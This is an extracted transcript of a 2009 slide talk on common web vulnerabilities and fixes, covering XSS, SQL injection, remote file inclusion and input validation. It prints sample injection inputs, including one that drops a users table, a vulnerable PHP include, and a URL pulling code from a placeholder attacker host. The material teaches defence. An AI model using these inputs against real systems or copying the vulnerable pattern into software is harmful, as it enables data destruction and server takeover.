security tech talk
DESCRIPTION
Describes the most common web vulnerabilities and solutions for the sameTRANSCRIPT
Web Security: Tech TalkMallik
http://codeinspections.blogspot.com
March 20th, 2009
Introduction Web applications are accessible openly on web
there by making it more prone to hacking.
Web Developers are not well versed with security issues because of which the applications are prone to vulnerabilities.
Web applications run in the browser, any security loop hole in browser will lead to exploiting vulnerability in web application.
Where do security bugs hide ?
Functional BugsSecurity Bugs
Design Implementation
Web Vulnerabilities XSS (Cross Site Scripting) Attack [44%]
SQL Injection [25%]
Input Validation [8%]
Remote File Inclusion [17%]
Cookie Theft [3%]
XSS (Cross Site Scripting) XSS: code injection by malicious web users into the
web pages. Non Persistent: These holes show up when data
provided by a web client is used immediately by server-side scripts to generate a page of results for that user.
Ex: Search Engines [exploits using social engineering] Example Persistent: XSS vulnerability that exists when data
provided to a web application by a user is stored persistently on the server
Ex: Blogger Comments Example
XSS (Cross Site Scripting)Exploits Session Hijacking / Cookie Theft [Example]
Redirecting the page to hacker’s desired location [persistent]
[Example]
Preventing XSS Escaping/Filtering Some of characters like <,> as
we do for Portal Application Replacing characters < with < and > with > Both the above solutions prevent users from
entering rich HTML content which is required for many web 2.0 Products
Escape HTML tags which can be malicious like <script>, <meta> etc. Blogger, MySpace are some with this kind of implementation.
SQL Injection SQL Injection is a security vulnerability occurring in
the DB layer. It is method to inject SQL command/query through the webpage. Hacker can come up with an intelligent input which may cause the application to do what it is not supposed to do.
Examples: Incorrect escaping/Filtering: Query: statement = "SELECT * FROM users WHERE
name = '" + userName + "';" Hacker’s input: a’ OR ‘x’=x Final Statement= SELECT * FROM users WHERE
name = ‘a’ OR ‘x’=x’;
SQL Injection More Serious attack: Query: statement = "SELECT * FROM users
WHERE name = '" + userName + "';" Hacker’s input: a’; Drop Table Users; Select *
from Users where name like ‘% Final Statement= SELECT * FROM users
WHERE name = ‘a’; Drop Table Users; Select * from Users where name like ‘%’
Preventing SQL Injection Escaping Special Characters Error-prone way to prevent injections is to escape dangerous
characters. - Replacing ‘ with ‘’ - In MYSQL, use mysql_real_escape_string() to escape special
characters Using Parameterized Statements myCommand = new SqlCommand("SELECT * FROM USERS
WHERE USERNAME=@username AND PASSWORD= @password", myConnection)) {
myCommand.Parameters.AddWithValue("@username", user); myCommand.Parameters.AddWithValue("@password", pass);
Remote File Inclusion RFI vulnerabilities allow hackers to run their code
on the web servers. XSS is code injection on client side, whereas RFI is
on server side. Bad coding practice where filenames were sent as
Query parameters can be used as any normal variable in the code.
This was one of common PHP vulnerabilities in early days.
RFI Example<?php$file=$_REQUEST[‘file’];include ($file."php");?>
URL: http://test.com/test.php?file=http://hack.com/hack.php?
The code in hack.php would get executed on the server
Input Validation Most of security vulnerabilities are because of
Hacky input. Input Validation on Client Side (javascript) alone
will not suffice. We need to have check for user input on both Client and Server.
Hacker can disable the checks on client side and send invalid input to Server Side. (Example)
Example: Shopping site example about how serious a
attack can be if there is no server side check.
Security Vulnerability Via Browser Bugs Browser bugs can sometimes lead to
finding vulnerabilities in the Web Applications
Example is Cross-Domain XMLHTTP Vulnerability in First version of Chrome
What is Cross-Domain XMLHTTP ? What was bug in Chrome Version 1.0 ? Example
Lessons to Learn Web Security is not Rocket science Validate Input Validate output Watch for New Security Attacks and how
they affect your products
Thank You